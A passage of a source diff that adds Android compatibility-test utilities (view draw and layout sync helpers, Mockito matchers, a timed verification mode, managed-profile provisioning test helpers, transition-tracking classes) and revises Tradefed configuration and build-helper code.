+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inScaled = false;
+        return BitmapFactory.decodeResource(resources, resId, options);
+    }
+
+    /**
+     * Retrieve a dithered bitmap that can be used for comparison on any density
+     * @param resources
+     * @param config the preferred config for the returning bitmap
+     * @return the {@link Bitmap} or <code>null</code>
+     */
+    public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
+            int resId, Bitmap.Config config) {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inDither = true;
+        options.inScaled = false;
+        options.inPreferredConfig = config;
+        return BitmapFactory.decodeResource(resources, resId, options);
+    }
+
+    /**
+     * Argument matcher for equality check of a CharSequence.
+     *
+     * @param expected expected CharSequence
+     *
+     * @return
+     */
+    public static CharSequence sameCharSequence(final CharSequence expected) {
+        return argThat(new BaseMatcher<CharSequence>() {
+            @Override
+            public boolean matches(Object o) {
+                if (o instanceof CharSequence) {
+                    return TextUtils.equals(expected, (CharSequence) o);
+                }
+                return false;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("doesn't match " + expected);
+            }
+        });
+    }
+
+    /**
+     * Argument matcher for equality check of an Editable.
+     *
+     * @param expected expected Editable
+     *
+     * @return
+     */
+    public static Editable sameEditable(final Editable expected) {
+        return argThat(new BaseMatcher<Editable>() {
+            @Override
+            public boolean matches(Object o) {
+                if (o instanceof Editable) {
+                    return TextUtils.equals(expected, (Editable) o);
+                }
+                return false;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("doesn't match " + expected);
+            }
+        });
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the specified View's tree is
+     * drawn before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param view the view whose tree should be drawn before returning
+     * @param runner the runnable to run on the main thread, or {@code null} to
+     *               simply force invalidation and a draw pass
+     */
+    public static void runOnMainAndDrawSync(@NonNull final ActivityTestRule activityTestRule,
+            @NonNull final View view, @Nullable final Runnable runner) throws Throwable {
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        activityTestRule.runOnUiThread(() -> {
+            final OnDrawListener listener = new OnDrawListener() {
+                @Override
+                public void onDraw() {
+                    // posting so that the sync happens after the draw that's about to happen
+                    view.post(() -> {
+                        activityTestRule.getActivity().getWindow().getDecorView().
+                                getViewTreeObserver().removeOnDrawListener(this);
+                        latch.countDown();
+                    });
+                }
+            };
+
+            activityTestRule.getActivity().getWindow().getDecorView().
+                    getViewTreeObserver().addOnDrawListener(listener);
+
+            if (runner != null) {
+                runner.run();
+            }
+            view.invalidate();
+        });
+
+        try {
+            Assert.assertTrue("Expected draw pass occurred within 5 seconds",
+                    latch.await(5, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the activity's view tree is
+     * laid out before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param runner the runnable to run on the main thread. {@code null} is
+     * allowed, and simply means that there no runnable is required.
+     * @param forceLayout true if there should be an explicit call to requestLayout(),
+     * false otherwise
+     */
+    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+            @Nullable final Runnable runner, boolean forceLayout)
+            throws Throwable {
+        runOnMainAndLayoutSync(activityTestRule,
+                activityTestRule.getActivity().getWindow().getDecorView(), runner, forceLayout);
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the specified view is
+     * laid out before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param view The view
+     * @param runner the runnable to run on the main thread. {@code null} is
+     * allowed, and simply means that there no runnable is required.
+     * @param forceLayout true if there should be an explicit call to requestLayout(),
+     * false otherwise
+     */
+    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+            @NonNull final View view, @Nullable final Runnable runner, boolean forceLayout)
+            throws Throwable {
+        final View rootView = view.getRootView();
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        activityTestRule.runOnUiThread(() -> {
+            final OnGlobalLayoutListener listener = new ViewTreeObserver.OnGlobalLayoutListener() {
+                @Override
+                public void onGlobalLayout() {
+                    rootView.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+                    // countdown immediately since the layout we were waiting on has happened
+                    latch.countDown();
+                }
+            };
+
+            rootView.getViewTreeObserver().addOnGlobalLayoutListener(listener);
+
+            if (runner != null) {
+                runner.run();
+            }
+
+            if (forceLayout) {
+                rootView.requestLayout();
+            }
+        });
+
+        try {
+            Assert.assertTrue("Expected layout pass within 5 seconds",
+                    latch.await(5, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Within.java b/common/device-side/util/src/com/android/compatibility/common/util/Within.java
new file mode 100644
index 0000000..4d9ff80
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/Within.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.SystemClock;
+
+import org.mockito.Mockito;
+import org.mockito.exceptions.base.MockitoAssertionError;
+import org.mockito.internal.verification.api.VerificationData;
+import org.mockito.invocation.Invocation;
+import org.mockito.verification.VerificationMode;
+
+import java.util.List;
+
+/**
+ * Custom verification mode that allows waiting for the specific invocation to happen within
+ * a certain time interval. Not that unlike {@link Mockito#timeout(int)}, this mode will not
+ * return early and throw exception if the expected method was called with a different set of
+ * parameters before the call that we're waiting for.
+ */
+public class Within implements VerificationMode {
+    private static final long TIME_SLICE = 50;
+    private final long mTimeout;
+
+    public Within(long timeout) {
+        mTimeout = timeout;
+    }
+
+    @Override
+    public void verify(VerificationData data) {
+        long timeout = mTimeout;
+        MockitoAssertionError errorToRethrow = null;
+        // Loop in the same way we do in PollingCheck, sleeping and then testing for the target
+        // invocation
+        while (timeout > 0) {
+            SystemClock.sleep(TIME_SLICE);
+
+            try {
+                final List<Invocation> actualInvocations = data.getAllInvocations();
+                // Iterate over all invocations so far to see if we have a match
+                for (Invocation invocation : actualInvocations) {
+                    if (data.getWanted().matches(invocation)) {
+                        // Found our match within our timeout. Mark all invocations as verified
+                        markAllInvocationsAsVerified(data);
+                        // and return
+                        return;
+                    }
+                }
+            } catch (MockitoAssertionError assertionError) {
+                errorToRethrow = assertionError;
+            }
+
+            timeout -= TIME_SLICE;
+        }
+
+        if (errorToRethrow != null) {
+            throw errorToRethrow;
+        }
+
+        throw new MockitoAssertionError(
+                "Timed out while waiting " + mTimeout + "ms for " + data.getWanted().toString());
+    }
+
+    // TODO: Uncomment once upgraded to 2.7.13
+    // @Override
+    public VerificationMode description(String description) {
+        // Return this for now.
+        // TODO: Return wrapper once upgraded to 2.7.13
+        return this;
+    }
+
+    private void markAllInvocationsAsVerified(VerificationData data) {
+        for (Invocation invocation : data.getAllInvocations()) {
+            invocation.markVerified();
+            data.getWanted().captureArgumentsFrom(invocation);
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
new file mode 100644
index 0000000..2fdb26b
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+interface IBooleanCallback {
+    oneway void onResult(boolean result);
+}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
new file mode 100644
index 0000000..19278d0
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.content.Intent.ACTION_MANAGED_PROFILE_ADDED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class SilentProvisioningTestManager {
+    private static final long TIMEOUT_SECONDS = 120L;
+    private static final String TAG = "SilentProvisioningTest";
+
+    private final LinkedBlockingQueue<Boolean> mProvisioningResults = new LinkedBlockingQueue(1);
+
+    private final IBooleanCallback mProvisioningResultCallback = new IBooleanCallback.Stub() {
+        @Override
+        public void onResult(boolean result) {
+            try {
+                mProvisioningResults.put(result);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "IBooleanCallback.callback", e);
+            }
+        }
+    };
+
+    private final Context mContext;
+    private Intent mReceivedProfileProvisionedIntent;
+
+    public SilentProvisioningTestManager(Context context) {
+        mContext = context.getApplicationContext();
+    }
+
+    public Intent getReceviedProfileProvisionedIntent() {
+        return mReceivedProfileProvisionedIntent;
+    }
+
+    public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
+        wakeUpAndDismissInsecureKeyguard();
+        mContext.startActivity(getStartIntent(provisioningIntent));
+        Log.i(TAG, "startActivity with intent: " + provisioningIntent);
+
+        if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
+            return waitManagedProfileProvisioning();
+        } else {
+            return waitDeviceOwnerProvisioning();
+        }
+    }
+
+    private boolean waitDeviceOwnerProvisioning() throws InterruptedException {
+        return pollProvisioningResult();
+    }
+
+    private boolean waitManagedProfileProvisioning() throws InterruptedException {
+        BlockingBroadcastReceiver managedProfileProvisionedReceiver =
+                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_PROVISIONED);
+        BlockingBroadcastReceiver managedProfileAddedReceiver =
+                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_ADDED);
+        try {
+            managedProfileProvisionedReceiver.register();
+            managedProfileAddedReceiver.register();
+
+            if (!pollProvisioningResult()) {
+                return false;
+            }
+
+            mReceivedProfileProvisionedIntent =
+                    managedProfileProvisionedReceiver.awaitForBroadcast();
+            if (mReceivedProfileProvisionedIntent == null) {
+                Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
+                return false;
+            }
+
+            if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
+                Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
+                return false;
+            }
+        } finally {
+            managedProfileProvisionedReceiver.unregisterQuietly();
+            managedProfileAddedReceiver.unregisterQuietly();
+        }
+        return true;
+    }
+
+    private boolean pollProvisioningResult() throws InterruptedException {
+        Boolean result = mProvisioningResults.poll(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        if (result == null) {
+            Log.i(TAG, "ManagedProvisioning doesn't return result within "
+                    + TIMEOUT_SECONDS + " seconds ");
+            return false;
+        }
+
+        if (!result) {
+            Log.i(TAG, "Failed to provision");
+            return false;
+        }
+        return true;
+    }
+
+    private Intent getStartIntent(Intent intent) {
+        final Bundle bundle = new Bundle();
+        bundle.putParcelable(Intent.EXTRA_INTENT, intent);
+        bundle.putBinder(StartProvisioningActivity.EXTRA_BOOLEAN_CALLBACK,
+                mProvisioningResultCallback.asBinder());
+        return new Intent(mContext, StartProvisioningActivity.class).putExtras(bundle);
+    }
+
+    private static void wakeUpAndDismissInsecureKeyguard() {
+        try {
+            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            uiDevice.wakeUp();
+            uiDevice.pressMenu();
+        } catch (RemoteException e) {
+            Log.e(TAG, "wakeUpScreen", e);
+        }
+    }
+
+    private static class BlockingReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final Context mContext;
+        private final String mAction;
+        private Intent mReceivedIntent;
+
+        private BlockingReceiver(Context context, String action) {
+            mContext = context;
+            mAction = action;
+            mReceivedIntent = null;
+        }
+
+        public void register() {
+            mContext.registerReceiver(this, new IntentFilter(mAction));
+        }
+
+        public boolean await() throws InterruptedException {
+            return mLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        }
+
+        public Intent getReceivedIntent() {
+            return mReceivedIntent;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mReceivedIntent = intent;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
new file mode 100644
index 0000000..4a98794
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.WindowManager;
+
+/**
+ * Must register it in AndroidManifest.xml
+ * <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"></activity>
+ */
+public class StartProvisioningActivity extends Activity {
+    private static final int REQUEST_CODE = 1;
+    private static final String TAG = "StartProvisionActivity";
+
+    public static final String EXTRA_BOOLEAN_CALLBACK = "EXTRA_BOOLEAN_CALLBACK";
+
+    IBooleanCallback mResultCallback;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Reduce flakiness of the test
+        // Show activity on top of keyguard
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+        // Turn on screen to prevent activity being paused by system
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+        mResultCallback = IBooleanCallback.Stub.asInterface(
+                getIntent().getExtras().getBinder(EXTRA_BOOLEAN_CALLBACK));
+        Log.i(TAG, "result callback class name " + mResultCallback);
+
+        // Only provision it if the activity is not re-created
+        if (savedInstanceState == null) {
+            Intent provisioningIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
+
+            startActivityForResult(provisioningIntent, REQUEST_CODE);
+            Log.i(TAG, "Start provisioning intent");
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE) {
+            try {
+                boolean result = resultCode == RESULT_OK;
+                mResultCallback.onResult(result);
+                Log.i(TAG, "onActivityResult result: " + result);
+            } catch (RemoteException e) {
+                Log.e(TAG, "onActivityResult", e);
+            }
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
new file mode 100644
index 0000000..7c53921
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.graphics.Rect;
+import android.view.View;
+
+import java.util.ArrayList;
+
+public interface TargetTracking {
+    ArrayList<View> getTrackedTargets();
+    void clearTargets();
+    Rect getCapturedEpicenter();
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
new file mode 100644
index 0000000..55b235d
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.Transition;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * A transition that tracks which targets are applied to it.
+ * It will assume any target that it applies to will have differences
+ * between the start and end state, regardless of the differences
+ * that actually exist. In other words, it doesn't actually check
+ * any size or position differences or any other property of the view.
+ * It just records the difference.
+ * <p>
+ * Both start and end value Views are recorded, but no actual animation
+ * is created.
+ */
+public class TrackingTransition extends Transition implements TargetTracking {
+    public final ArrayList<View> targets = new ArrayList<>();
+    private final Rect[] mEpicenter = new Rect[1];
+    private static String PROP = "tracking:prop";
+    private static String[] PROPS = { PROP };
+
+    @Override
+    public String[] getTransitionProperties() {
+        return PROPS;
+    }
+
+    @Override
+    public void captureStartValues(TransitionValues transitionValues) {
+        transitionValues.values.put(PROP, 0);
+    }
+
+    @Override
+    public void captureEndValues(TransitionValues transitionValues) {
+        transitionValues.values.put(PROP, 1);
+    }
+
+    @Override
+    public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
+            TransitionValues endValues) {
+        if (startValues != null) {
+            targets.add(startValues.view);
+        }
+        if (endValues != null) {
+            targets.add(endValues.view);
+        }
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public ArrayList<View> getTrackedTargets() {
+        return targets;
+    }
+
+    @Override
+    public void clearTargets() {
+        targets.clear();
+    }
+
+    @Override
+    public Rect getCapturedEpicenter() {
+        return mEpicenter[0];
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
new file mode 100644
index 0000000..8a5a19e
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.TransitionValues;
+import android.transition.Visibility;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * Visibility transition that tracks which targets are applied to it.
+ * This transition does no animation.
+ */
+public class TrackingVisibility extends Visibility implements TargetTracking {
+    public final ArrayList<View> targets = new ArrayList<>();
+    private final Rect[] mEpicenter = new Rect[1];
+
+    @Override
+    public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+            TransitionValues endValues) {
+        targets.add(endValues.view);
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+            TransitionValues endValues) {
+        targets.add(startValues.view);
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public ArrayList<View> getTrackedTargets() {
+        return targets;
+    }
+
+    @Override
+    public void clearTargets() {
+        targets.clear();
+    }
+
+    @Override
+    public Rect getCapturedEpicenter() {
+        return mEpicenter[0];
+    }
+}
diff --git a/common/host-side/tradefed/res/config/cts-unit-tests.xml b/common/host-side/tradefed/res/config/cts-unit-tests.xml
new file mode 100644
index 0000000..fabdb25
--- /dev/null
+++ b/common/host-side/tradefed/res/config/cts-unit-tests.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Executes the CTS unit tests">
+    <option name="null-device" value="true" />
+    <build_provider class="com.android.tradefed.build.StubBuildProvider" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="com.android.compatibility.common.tradefed.UnitTests" />
+        <option name="class" value="com.android.compatibility.common.util.HostUnitTests" />
+        <option name="class" value="com.android.compatibility.common.util.UnitTests" />
+        <option name="class" value="com.android.compatibility.tradefed.CtsTradefedTest" />
+        <option name="class" value="com.drawelements.deqp.runner.DeqpTestRunnerTest" />
+    </test>
+    <logger class="com.android.tradefed.log.FileLogger" />
+
+    <result_reporter class="com.android.tradefed.result.ConsoleResultReporter">
+        <option name="suppress-passed-tests" value="true" />
+    </result_reporter>
+    <template-include name="reporters" default="empty" />
+</configuration>
diff --git a/common/host-side/tradefed/res/config/everything.xml b/common/host-side/tradefed/res/config/everything.xml
index d1ac900..a38aa8a 100644
--- a/common/host-side/tradefed/res/config/everything.xml
+++ b/common/host-side/tradefed/res/config/everything.xml
@@ -16,6 +16,6 @@
 <configuration description="Common config for Compatibility suites to run all modules">
 
     <include name="common-compatibility-config" />
-    <option name="compatibility:plan" value="everything" />
+    <option name="plan" value="everything" />
 
 </configuration>
diff --git a/common/host-side/tradefed/res/config/system-status-checkers.xml b/common/host-side/tradefed/res/config/system-status-checkers.xml
deleted file mode 100644
index 2911116..0000000
--- a/common/host-side/tradefed/res/config/system-status-checkers.xml
+++ /dev/null
@@ -1,18 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="System status checkers before and after each CTS module execution">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
-</configuration>
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 73f8638..ddec927 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -15,7 +15,7 @@
  */
 package com.android.compatibility.common.tradefed.build;
 
-import com.android.compatibility.SuiteInfo;
+import com.android.compatibility.common.util.DynamicConfigHostSide;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IFolderBuildInfo;
 
@@ -32,23 +32,19 @@
 public class CompatibilityBuildHelper {
 
     public static final String MODULE_IDS = "MODULE_IDS";
-
     public static final String ROOT_DIR = "ROOT_DIR";
+    public static final String SUITE_BUILD = "SUITE_BUILD";
     public static final String SUITE_NAME = "SUITE_NAME";
+    public static final String SUITE_FULL_NAME = "SUITE_FULL_NAME";
+    public static final String SUITE_VERSION = "SUITE_VERSION";
+    public static final String SUITE_PLAN = "SUITE_PLAN";
     public static final String START_TIME_MS = "START_TIME_MS";
+    public static final String COMMAND_LINE_ARGS = "command_line_args";
 
     private static final String ROOT_DIR2 = "ROOT_DIR2";
-    private static final String SUITE_BUILD = "SUITE_BUILD";
-    private static final String SUITE_FULL_NAME = "SUITE_FULL_NAME";
-    private static final String SUITE_VERSION = "SUITE_VERSION";
-    private static final String SUITE_PLAN = "SUITE_PLAN";
-    private static final String RESULT_DIR = "RESULT_DIR";
-    private static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
     private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
-    private static final String COMMAND_LINE_ARGS = "command_line_args";
     private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
     private final IBuildInfo mBuildInfo;
-    private boolean mInitialized = false;
 
     /**
      * Creates a {@link CompatibilityBuildHelper} wrapping the given {@link IBuildInfo}.
@@ -57,53 +53,6 @@
         mBuildInfo = buildInfo;
     }
 
-    /**
-     * Initializes the {@link IBuildInfo} from the manifest with the current time
-     * as the start time.
-     */
-    public void init(String suitePlan, String dynamicConfigUrl) {
-        init(suitePlan, dynamicConfigUrl, System.currentTimeMillis());
-    }
-
-    /**
-     * Initializes the {@link IBuildInfo} from the manifest.
-     */
-    public void init(String suitePlan, String dynamicConfigUrl, long startTimeMs) {
-        if (mInitialized) {
-            return;
-        }
-        mInitialized = true;
-        mBuildInfo.addBuildAttribute(SUITE_BUILD, SuiteInfo.BUILD_NUMBER);
-        mBuildInfo.addBuildAttribute(SUITE_NAME, SuiteInfo.NAME);
-        mBuildInfo.addBuildAttribute(SUITE_FULL_NAME, SuiteInfo.FULLNAME);
-        mBuildInfo.addBuildAttribute(SUITE_VERSION, SuiteInfo.VERSION);
-        mBuildInfo.addBuildAttribute(SUITE_PLAN, suitePlan);
-        mBuildInfo.addBuildAttribute(START_TIME_MS, Long.toString(startTimeMs));
-        mBuildInfo.addBuildAttribute(RESULT_DIR, getDirSuffix(startTimeMs));
-        String rootDirPath = null;
-        if (mBuildInfo instanceof IFolderBuildInfo) {
-            File rootDir = ((IFolderBuildInfo) mBuildInfo).getRootDir();
-            if (rootDir != null) {
-                rootDirPath = rootDir.getAbsolutePath();
-            }
-        }
-        rootDirPath = System.getProperty(String.format("%s_ROOT", SuiteInfo.NAME), rootDirPath);
-        if (rootDirPath == null || rootDirPath.trim().equals("")) {
-            throw new IllegalArgumentException(
-                    String.format("Missing install path property %s_ROOT", SuiteInfo.NAME));
-        }
-        File rootDir = new File(rootDirPath);
-        if (!rootDir.exists()) {
-            throw new IllegalArgumentException(
